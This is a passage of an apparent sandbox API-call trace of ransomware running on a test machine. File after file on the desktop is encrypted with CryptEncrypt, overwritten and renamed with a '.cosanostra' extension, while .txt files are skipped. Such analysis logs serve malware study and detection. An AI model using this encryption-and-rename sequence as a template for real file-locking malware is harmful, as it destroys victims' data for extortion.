lpNumberOfBytesWritten=0x251f304*=0x2800, lpOverlapped=0x0) returned 1 [0098.174] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.174] WriteFile (in: hFile=0x138, lpBuffer=0x251f344*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f304, lpOverlapped=0x0 | out: lpBuffer=0x251f344*, lpNumberOfBytesWritten=0x251f304*=0x4, lpOverlapped=0x0) returned 1 [0098.174] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f304, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f304*=0x30, lpOverlapped=0x0) returned 1 [0098.174] CloseHandle (hObject=0x138) returned 1 [0098.174] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t4ryXtdLMg9iT2Hh3OvX.jpg.cosanostra") returned 77 [0098.174] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t4ryXtdLMg9iT2Hh3OvX.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\t4ryxtdlmg9it2hh3ovx.jpg"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t4ryXtdLMg9iT2Hh3OvX.jpg.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\t4ryxtdlmg9it2hh3ovx.jpg.cosanostra")) returned 1 [0098.175] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f340 | out: pbBuffer=0x251f340) returned 1 [0098.175] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f338*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f338*=0x30) returned 1 [0098.175] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sjpJLsck2-WRc338slVE.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sjpjlsck2-wrc338slve.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.175] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sjpJLsck2-WRc338slVE.swf") returned 66 [0098.175] StrStrW (lpFirst="sjpJLsck2-WRc338slVE.swf", lpSrch=".txt") returned 0x0 [0098.178] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.178] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f2fc, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f2fc*=0x2800, lpOverlapped=0x0) returned 1 [0098.178] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.178] WriteFile (in: hFile=0x138, lpBuffer=0x251f33c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f2fc, lpOverlapped=0x0 | out: lpBuffer=0x251f33c*, lpNumberOfBytesWritten=0x251f2fc*=0x4, lpOverlapped=0x0) returned 1 [0098.178] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f2fc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f2fc*=0x30, lpOverlapped=0x0) returned 1 [0098.178] CloseHandle (hObject=0x138) returned 1 [0098.178] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sjpJLsck2-WRc338slVE.swf.cosanostra") returned 77 [0098.178] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sjpJLsck2-WRc338slVE.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sjpjlsck2-wrc338slve.swf"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sjpJLsck2-WRc338slVE.swf.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sjpjlsck2-wrc338slve.swf.cosanostra")) returned 1 [0098.179] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f340 | out: pbBuffer=0x251f340) returned 1 [0098.179] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f338*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f338*=0x30) returned 1 [0098.179] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rufus-3.3.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rufus-3.3.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0098.179] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f338 | out: pbBuffer=0x251f338) returned 1 [0098.179] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f330*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f330*=0x30) returned 1 [0098.179] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rPi-Od.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rpi-od.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.179] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rPi-Od.mp4") returned 52 [0098.179] StrStrW (lpFirst="rPi-Od.mp4", lpSrch=".txt") returned 0x0 [0098.180] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.180] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f2f4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f2f4*=0x2800, lpOverlapped=0x0) returned 1 [0098.180] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.180] WriteFile (in: hFile=0x138, lpBuffer=0x251f334*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f2f4, lpOverlapped=0x0 | out: lpBuffer=0x251f334*, lpNumberOfBytesWritten=0x251f2f4*=0x4, lpOverlapped=0x0) returned 1 [0098.180] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f2f4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f2f4*=0x30, lpOverlapped=0x0) returned 1 [0098.181] CloseHandle (hObject=0x138) returned 1 [0098.181] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rPi-Od.mp4.cosanostra") returned 63 [0098.181] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rPi-Od.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rpi-od.mp4"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rPi-Od.mp4.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rpi-od.mp4.cosanostra")) returned 1 [0098.182] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f330 | out: pbBuffer=0x251f330) returned 1 [0098.182] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f328*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f328*=0x30) returned 1 [0098.182] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qn8hFnZiY\\v3l5UK-j.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qn8hfnziy\\v3l5uk-j.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.182] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qn8hFnZiY\\v3l5UK-j.mp4") returned 64 [0098.182] StrStrW (lpFirst="v3l5UK-j.mp4", lpSrch=".txt") returned 0x0 [0098.183] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.183] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f2ec, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f2ec*=0x2800, lpOverlapped=0x0) returned 1 [0098.183] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.183] WriteFile (in: hFile=0x138, lpBuffer=0x251f32c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f2ec, lpOverlapped=0x0 | out: lpBuffer=0x251f32c*, lpNumberOfBytesWritten=0x251f2ec*=0x4, lpOverlapped=0x0) returned 1 [0098.183] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f2ec, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f2ec*=0x30, lpOverlapped=0x0) returned 1 [0098.183] CloseHandle (hObject=0x138) returned 1 [0098.183] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qn8hFnZiY\\v3l5UK-j.mp4.cosanostra") returned 75 [0098.183] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qn8hFnZiY\\v3l5UK-j.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qn8hfnziy\\v3l5uk-j.mp4"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qn8hFnZiY\\v3l5UK-j.mp4.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qn8hfnziy\\v3l5uk-j.mp4.cosanostra")) returned 1 [0098.185] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f330 | out: pbBuffer=0x251f330) returned 1 [0098.185] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f328*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f328*=0x30) returned 1 [0098.185] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qn8hFnZiY\\DWQ5b.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qn8hfnziy\\dwq5b.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.185] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qn8hFnZiY\\DWQ5b.odp") returned 61 [0098.185] StrStrW (lpFirst="DWQ5b.odp", lpSrch=".txt") returned 0x0 [0098.186] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.186] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f2ec, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f2ec*=0x2800, lpOverlapped=0x0) returned 1 [0098.186] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.186] WriteFile (in: hFile=0x138, lpBuffer=0x251f32c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f2ec, lpOverlapped=0x0 | out: lpBuffer=0x251f32c*, lpNumberOfBytesWritten=0x251f2ec*=0x4, lpOverlapped=0x0) returned 1 [0098.186] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f2ec, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f2ec*=0x30, lpOverlapped=0x0) returned 1 [0098.186] CloseHandle (hObject=0x138) returned 1 [0098.186] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qn8hFnZiY\\DWQ5b.odp.cosanostra") returned 72 [0098.186] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qn8hFnZiY\\DWQ5b.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qn8hfnziy\\dwq5b.odp"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qn8hFnZiY\\DWQ5b.odp.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qn8hfnziy\\dwq5b.odp.cosanostra")) returned 1 [0098.187] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f328 | out: pbBuffer=0x251f328) returned 1 [0098.187] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f320*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f320*=0x30) returned 1 [0098.187] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oVGu9miKdvMAG0mN.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ovgu9mikdvmag0mn.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.187] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oVGu9miKdvMAG0mN.jpg") returned 62 [0098.187] StrStrW (lpFirst="oVGu9miKdvMAG0mN.jpg", lpSrch=".txt") returned 0x0 [0098.188] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffa86, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.188] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x57a, lpNumberOfBytesWritten=0x251f2e4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f2e4*=0x57a, lpOverlapped=0x0) returned 1 [0098.188] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.188] WriteFile (in: hFile=0x138, lpBuffer=0x251f324*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f2e4, lpOverlapped=0x0 | out: lpBuffer=0x251f324*, lpNumberOfBytesWritten=0x251f2e4*=0x4, lpOverlapped=0x0) returned 1 [0098.188] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f2e4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f2e4*=0x30, lpOverlapped=0x0) returned 1 [0098.188] CloseHandle (hObject=0x138) returned 1 [0098.188] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oVGu9miKdvMAG0mN.jpg.cosanostra") returned 73 [0098.188] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oVGu9miKdvMAG0mN.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ovgu9mikdvmag0mn.jpg"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oVGu9miKdvMAG0mN.jpg.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ovgu9mikdvmag0mn.jpg.cosanostra")) returned 1 [0098.189] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f328 | out: pbBuffer=0x251f328) returned 1 [0098.189] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f320*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f320*=0x30) returned 1 [0098.189] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OqltczkzeC4bDRVSmARW.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oqltczkzec4bdrvsmarw.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.189] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OqltczkzeC4bDRVSmARW.wav") returned 66 [0098.189] StrStrW (lpFirst="OqltczkzeC4bDRVSmARW.wav", lpSrch=".txt") returned 0x0 [0098.190] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.190] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f2e4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f2e4*=0x2800, lpOverlapped=0x0) returned 1 [0098.190] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.190] WriteFile (in: hFile=0x138, lpBuffer=0x251f324*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f2e4, lpOverlapped=0x0 | out: lpBuffer=0x251f324*, lpNumberOfBytesWritten=0x251f2e4*=0x4, lpOverlapped=0x0) returned 1 [0098.190] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f2e4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f2e4*=0x30, lpOverlapped=0x0) returned 1 [0098.190] CloseHandle (hObject=0x138) returned 1 [0098.190] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OqltczkzeC4bDRVSmARW.wav.cosanostra") returned 77 [0098.190] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OqltczkzeC4bDRVSmARW.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oqltczkzec4bdrvsmarw.wav"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OqltczkzeC4bDRVSmARW.wav.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oqltczkzec4bdrvsmarw.wav.cosanostra")) returned 1 [0098.191] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f320 | out: pbBuffer=0x251f320) returned 1 [0098.191] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f318*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f318*=0x30) returned 1 [0098.191] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mxTNqiI.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mxtnqii.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.191] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mxTNqiI.mkv") returned 53 [0098.191] StrStrW (lpFirst="mxTNqiI.mkv", lpSrch=".txt") returned 0x0 [0098.192] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.192] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f2dc, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f2dc*=0x2800, lpOverlapped=0x0) returned 1 [0098.192] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.192] WriteFile (in: hFile=0x138, lpBuffer=0x251f31c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f2dc, lpOverlapped=0x0 | out: lpBuffer=0x251f31c*, lpNumberOfBytesWritten=0x251f2dc*=0x4, lpOverlapped=0x0) returned 1 [0098.192] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f2dc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f2dc*=0x30, lpOverlapped=0x0) returned 1 [0098.192] CloseHandle (hObject=0x138) returned 1 [0098.192] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mxTNqiI.mkv.cosanostra") returned 64 [0098.192] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mxTNqiI.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mxtnqii.mkv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mxTNqiI.mkv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mxtnqii.mkv.cosanostra")) returned 1 [0098.193] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f320 | out: pbBuffer=0x251f320) returned 1 [0098.193] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f318*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f318*=0x30) returned 1 [0098.193] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kEF0g-S KslZBE7f.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kef0g-s kslzbe7f.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.193] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kEF0g-S KslZBE7f.swf") returned 62 [0098.193] StrStrW (lpFirst="kEF0g-S KslZBE7f.swf", lpSrch=".txt") returned 0x0 [0098.194] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.194] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f2dc, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f2dc*=0x2800, lpOverlapped=0x0) returned 1 [0098.194] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.194] WriteFile (in: hFile=0x138, lpBuffer=0x251f31c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f2dc, lpOverlapped=0x0 | out: lpBuffer=0x251f31c*, lpNumberOfBytesWritten=0x251f2dc*=0x4, lpOverlapped=0x0) returned 1 [0098.194] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f2dc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f2dc*=0x30, lpOverlapped=0x0) returned 1 [0098.194] CloseHandle (hObject=0x138) returned 1 [0098.194] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kEF0g-S KslZBE7f.swf.cosanostra") returned 73 [0098.194] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kEF0g-S KslZBE7f.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kef0g-s kslzbe7f.swf"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kEF0g-S KslZBE7f.swf.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kef0g-s kslzbe7f.swf.cosanostra")) returned 1 [0098.195] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f318 | out: pbBuffer=0x251f318) returned 1 [0098.195] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f310*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f310*=0x30) returned 1 [0098.195] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jEgQ.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jegq.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.195] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jEgQ.flv") returned 50 [0098.195] StrStrW (lpFirst="jEgQ.flv", lpSrch=".txt") returned 0x0 [0098.196] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.196] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f2d4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, 